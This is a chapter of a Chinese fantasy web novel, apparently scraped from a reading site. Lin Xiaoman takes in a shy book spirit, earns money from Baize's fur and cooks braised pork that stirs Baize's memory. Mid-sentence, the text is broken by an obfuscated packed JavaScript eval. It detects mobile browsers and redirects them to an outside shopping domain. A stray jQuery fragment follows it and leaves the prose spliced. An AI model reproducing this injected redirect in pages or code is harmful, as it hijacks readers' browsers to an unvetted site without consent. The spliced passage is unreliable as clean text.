书书进门的第一件事，是盯着门槛上那两排牙印看了整整一分钟。
他蹲下来，伸出细白的手指沿着牙印的轮廓描了一圈，表情肃穆得像在观摩文物，嘴里念念有词：“齿痕深度约1.7厘米，间距均匀，咬合力惊人……初步判断为上古凶兽饕餮的幼崽期齿模，具有极高的民俗学参考价值……”
陶陶蹲在他对面，歪着脑袋看他，然后张着嘴凑过去：“你要不要看里面的牙？还有金色的。”
书书抬起头，跟陶陶那张圆脸对上，两个人大眼瞪小眼地对峙了三秒。然后书书的耳朵尖“唰”地红了，整个人往后缩了半步，怀里那本书紧紧抱在胸口，声音细得像蚊子叫：“不、不用了……谢谢……我记在书里了。”
林小满靠在门框上看着这一幕，嘴角压不住地往上翘。胡离从旁边经过，手里端着刚泡好的茶——实际上就是白开水，但用了他那个单位发的陶瓷杯装着，看起来莫名高级。他瞥了一眼缩成一团的书书，压低声音跟林小满说：“社恐。很严重的那种。昨晚发私信估计是他做了三天心理建设的结果。”
“看得出来。”林小满走过去，尽量把声音放软，“书书是吧？别站门口了，进来坐。你住哪间屋？正屋挤了点，偏房还空着一半，胡离住左边，你住右边行吗？”
书书从书后面探出半张脸来，是一张很秀气的少年面孔，看起来年纪不大，顶多十六七岁的样子，皮肤白得不像真人，眼睫毛又长又密，鬓边别着一支旧毛笔作发簪。他快速地点了一下头，声音还是细的：“行……行的。我不用床，给我一张桌子就行，我能睡在书里。”
“……睡书里？”
书书把那本线装书翻开一页，指着空白处：“这里面。我能住进去。每个月出来透一次风就行。”他说完又赶紧补了一句，“但我每天可以出来帮工！我识字、会校对、会整理档案、还会写旧体诗……不、不要工钱，管饭就行……一天吃一页书……不挑纸……报纸也行……”
林小满看着他越说越小声、越说越往书后面缩的样子，忽然觉得心口被什么东西软软地撞了一下。她回头冲厨房喊了一嗓子：“陶陶！把你那半块芝麻烧饼拿过来！”
陶陶从厨房里颠颠地跑出来，手里攥着半块啃了一半的烧饼，递到书书面前。书书愣了一下，迟疑地接过去，低头咬了一小口。芝麻碎落在书页上，他慌忙去拍，结果书页自己抖了抖，把碎屑抖进了夹缝里，像一张嘴悄悄把食物收起来了。
书书看着自己的书，耳朵又红了。
“谢谢院长……烧饼很好吃。”
系统面板在林小满视野角落跳了一下：【第四位非人类收容完毕。书灵·书书，当前幸福值：51分。福利院平均幸福值：56/100。当前积分：1150。】
林小满满意地点了点头，然后转身安排起今天的正经事来。
“胡离，周边的事你上午谈完。白泽，今天开始每日定量收集脱毛，不多，一小把就够，存起来当原材料。陶陶……你别啃家具了，今天带你去拍新的吃播素材。书书……”她看了一眼那个还抱着烧饼细嚼慢咽的小少年，“你整理一下福利院的档案，把现有成员的信息登记造册，顺便看看有没有什么‘藏书知识’能变现的。”
书书用力点头。他翻开怀里那本书，书页自动哗啦啦地翻到空白页，上面浮现出细密的墨色字迹，一行一行像被人用极细的毛笔当场写上去的。他低头看了一眼，又抬起头来，怯生生地开口：“院长……我的书里有一条信息，您可能用得上。”
“什么？”
“有一家做古籍修复的老作坊，最近在收‘百年以上、带有灵气残留的手工纸张’，用来修复一批明代善本。如果白泽大人的绒毛能掺进纸浆里做成‘灵纸’，按现在的市价……一页大概能卖这个数。”他用手比了一个数字。
林小满凑过去看了，然后整个人僵住了。
“……你再说一遍，多少钱一页？”
书书又比了一遍。这一次林小满看清楚了。她缓缓转过头去，看向院子里正靠在枣树上晒太阳的白泽。白泽在日光里眯着眼睛，鹿角微微发亮，几缕蓬松的白绒毛从肩膀上飘下来，打着旋儿落在草丛间，像碎银子一样安静。
林小满看着那些绒毛，眼神从热切变成了虔诚。
“白泽，”她走过去，声音前所未有的温柔，“你再多掉点，不掉也行，我给你梳。”
白泽睁开眼睛，对上她那双发亮的瞳孔，本能地往后缩了缩鹿角：“……你要干嘛？”
“赚钱。”林小满掏出一把从厨房拿来的宽齿木梳，“你坐着别动，很快的。”
那天上午，福利院的院子里飘满了白鹿毛。胡离在偏房里打电话谈文创合作，声音从窗户里漏出来带着商场上的圆滑与狡黠。书书坐在石桌边摊开书册，一笔一画地登记成员资料，偶尔抬头看一院子飞舞的白毛，然后悄悄在书页空白处画了一头歪着脑袋的鹿。陶陶蹲在门槛上吃书书分给他的那半块烧饼——书书只咬了一口，剩下的全给了陶陶，他自己低头又翻了一页书，张开嘴，纸页上的文字微微浮起来，被他像吸面条一样吸进了嘴里，表情满足得像喝了一碗热汤。
林小满梳完白泽的毛，数了一下小布袋里的分量，大约够做五张灵纸。她把布袋扎好口，塞进抽屉，然后抱着一盆昨天剩下的西红柿鸡蛋面进了杂物间。
杂物间很暗，角落里摞着几口破箱子，墙上有蜘蛛网，空气中有一股陈年木头和灰尘混合的气味。林小满搬开两只箱子，在最里面的墙角看到一个透明玻璃罐，罐口封着一层厚棉布，外面又缠了好几圈麻绳。
罐子里那团灰蒙蒙的东西蜷缩着，缩成拳头大小，一动不动。
林小满蹲下来，把面盆放在罐子旁边，敲了敲玻璃壁。
“喂。”
灰团子抖了一下。它缓缓地、艰难地伸出了一条“触须”，在玻璃内壁上蹭了蹭，像一只被关起来的蜗牛在试探外面的世界。
“昨晚那一顿够你受的吧？”林小满盘腿坐在地上，“我不来笑话你。就问你一个问题。”
灰团子没动。但那条触须缩回去了一点，像是在听。
“你吃梦的时候，除了‘签个字吧’‘签完就不累了’，还有没有做过别的？比如说——梦到过一头白鹿在追你？或者你追它？”
灰团子猛然抖了一下。它整个蜷缩的形态微微展开，那张没有五官的脸模糊地朝林小满的方向“看”过来，从罐子里面传出一阵极轻微、极含混的嗡嗡声，像人声隔着一层厚棉被在说话。
林小满凑近了一点：“你说什么？大声点。”
嗡嗡声停了。灰团子缩回原状，重新变成一团沉默的炭灰，不再动弹。
林小满盯着它看了几秒，站起来，把面盆留在罐子旁边。“东西放这儿了，你想吃就吃。虽然不是梦，但好歹是西红柿鸡蛋面。用完了碗记得给我放回厨房水池里。”
她转身走出杂物间，带上门的瞬间，余光瞥到罐子里那团灰烬轻轻颤了一下。
下午的时候，胡离的合作谈成了。对方是一家做非遗文创的小公司，答应以分成模式合作“瑞兽周边”系列——第一批产品是“白泽同款安神香囊”和“九尾狐办公解压手办”，手办上九条尾巴做成弹簧可以按着玩。样品的成本由对方出，利润三七分，福利院拿七。
林小满看着那份简易合同签下来的时候，嘴巴咧到了耳朵根。
“下个月房租有着落了，”她抱着合同翻来覆去看了三遍，“陶陶的饭钱也有着落了。白泽的红烧肉——”
她猛地顿住，扭头看向院子里。白泽正坐在枣树下的石墩上看书——书书借给他的那本旧话本，讲的是古代神兽传说。他看到某一行的时候忽然停下来，鹿角微微亮了一下，眉头蹙起，像是在费力回忆什么。午后的光从树叶缝隙里漏下来，在他侧脸上画出一块一块的光斑，他的睫毛半垂着，嘴唇抿成一道很浅的弧线。
林小满站在走廊底下看了他三秒钟。
然后她转身进了厨房。在后院角落里翻出那口缺了角的铁锅，刷干净了，架到灶台上。胡离从偏房探出头来：“今晚吃什么？”
“红烧肉。”林小满把围裙系上，“去买肉。胡离你去，买五花肉，要肥瘦相间的。再买点葱姜蒜八角桂皮……陶陶不许跟去！你去了肉店老板会以为进了蝗虫。”
院子里响起一阵混杂的声响：胡离套外套出门的脚步声，陶陶不甘心地趴在门槛上哼哼，书书翻了一页书发出轻微的沙沙声，白泽从石墩上站起来走到厨房门口，靠在门框边往里看了一眼。
林小满正在切葱，头也不回：“看什么看，晚上才能吃。别杵这儿挡光。”
白泽没走。他靠在门框上，看着她在灶台前忙活的背影，油锅烧热了，她把切好的五花肉块滑进去，滋啦一声响，白烟腾起来裹着葱姜的香气弥漫了整间厨房。她侧过头避开油烟，顺手擦了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943809|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一下额角的汗。
白泽站在那片烟火气里，鹿角上的金光很柔和地亮着。他开口的声音很轻，像是怕惊动了什么：“……这个味道。”
林小满顿了一下，回头看他：“什么？”
“这个味道，”白泽的目光落在锅里正滋滋冒泡的肉块上，眉头慢慢舒展开来，“我记得。以前……有人给我做过。”
林小满看着他，没追问。她转回去继续翻炒，锅铲碰到铁锅的边缘发出叮叮当当的脆响。她把白糖倒进去炒出糖色，酱色裹在肉块上泛出油亮亮的光，香气从厨房门口涌出去，飘满了整个院子。
陶陶从门槛上抬起头来，鼻子疯狂抽动。书书那本书的书页哗啦啦翻了十几页，每翻一页就有一行字冒出来又消下去，内容大概是关于红烧肉起源的考据。胡离正好推门回来，手里拎着一袋还冒着热气的馒头。
“肉呢？”林小满问。
胡离扬了扬另一只手里的塑料袋：“买了。三斤。够了吧？”
林小满接过肉看了一眼，成色不错，肥瘦相间，皮还带着一点点扎手的毛——被她拿去厨房用火烧了。白泽跟过来看了一眼，嘴角翘了一个极浅的弧度。陶陶已经搬着他的脸盆蹲在厨房门口了，书书也悄悄站到了窗户外面，手里那本书翻开到某一页，上面写着“红烧肉·宋元时期始见于江南民间食谱”。
天色暗下来的时候，厨房里出锅了满满一盆红烧肉。酱红色的肉块在汤汁里颤巍巍的，表面裹着一层晶亮的油光，葱段和八角散落在肉块之间，热气腾腾地往上扑。林小满端到院子里的石桌上，陶陶第一个扑过去，被胡离按住了脑袋：“等凉。你嘴不烫锅还烫呢。”
白泽坐在石桌前，拿起筷子夹了一块。他低头咬了一口，慢慢嚼了两下，然后顿住了。
“怎么样？”林小满盯着他，手还攥着围裙边。
白泽没有立刻回答。他咽下去，放下筷子，垂着眼睫沉默了几秒。再抬起头来的时候，那双琥珀色的眼睛深处有一层极淡的光在流动，像湖面上被风吹散的月影。
“好像是这个味道，”他说，“以前也有人这样炖给我吃过。”
他没有多说。但林小满注意到他的指尖微微蜷了一下，膝盖上的鹿毛飘落了一小撮，在晚风里打着旋儿，落在了那盘红烧肉的汤汁表面，像一层极细的金粉。
系统面板轻轻弹了出来：【白泽幸福值：79分。当前福利院平均幸福值：68/100。解锁新成就——“家的味道”。奖励积分：300。当前总积分：1450。】
陶陶终于挣脱了胡离的手，舀了一大勺肉盖在饭上，埋头狂吃，嘴里含混地喊：“好吃！姐姐！姐姐万岁！”
书书坐在角落，低头在自己那本书的最后一页写了一行字：是日，院长做红烧肉一锅，白泽食之，曾忆旧时。鹿角微光，众人皆笑。院中枣树落叶三片。
胡离把最后一块馒头掰成四份，一人一份分了过去，包括林小满。林小满接过来咬了一口，坐在石桌边，看着对面白泽又夹了一块肉放进陶陶碗里、然后被陶陶反手夹了块更大块的塞进他碗中的画面，忽然觉得鼻子有点酸。
她赶紧低头喝了一口汤，把那股酸意压了下去。
院子里亮起了一盏胡离从巷口杂货铺买回来的暖色串灯，绕在枣树枝上，昏黄的光照着石桌、碗筷、还有六个凑在一起的人影。书书的书页在风里微微翻动，纸页上的字迹发着淡淡的墨色光泽。白泽的鹿角在串灯下面泛着柔和的金。陶陶的碗底下已经空了，脸盆也被舔得锃亮，正靠在胡离肩膀上打哈欠。
林小满把最后一口馒头塞进嘴里，掏出手机看了一眼明天的日程：去寄枕头、谈灵纸订单、更新两篇视频、陪书书去图书馆旧址收他的旧书。
事情还有很多。
但她关上手机、把碗摞起来端回厨房的时候，心里那个“明天的太阳照常升起”的感觉，已经很久没有这么踏实过了。
夜深了，福利院的灯一盏一盏熄了。白泽躺在偏房自己的角落里，裹着那床旧棉被，鹿角上的金光盘在黑暗中像一颗小小的月亮。他翻了个身，嘴角还残留着一丝油光，睡得很沉。
杂物间里，玻璃罐中的灰团子悄无声息地探出一缕细细的黑雾，触须碰到罐口棉布的边缘，缩了一下，又缩回去。它安静地蜷在罐底，没有动那碗已经凉透的西红柿鸡蛋面。
但第二天早上，林小满去收碗的时候发现，碗里的面条少了一根。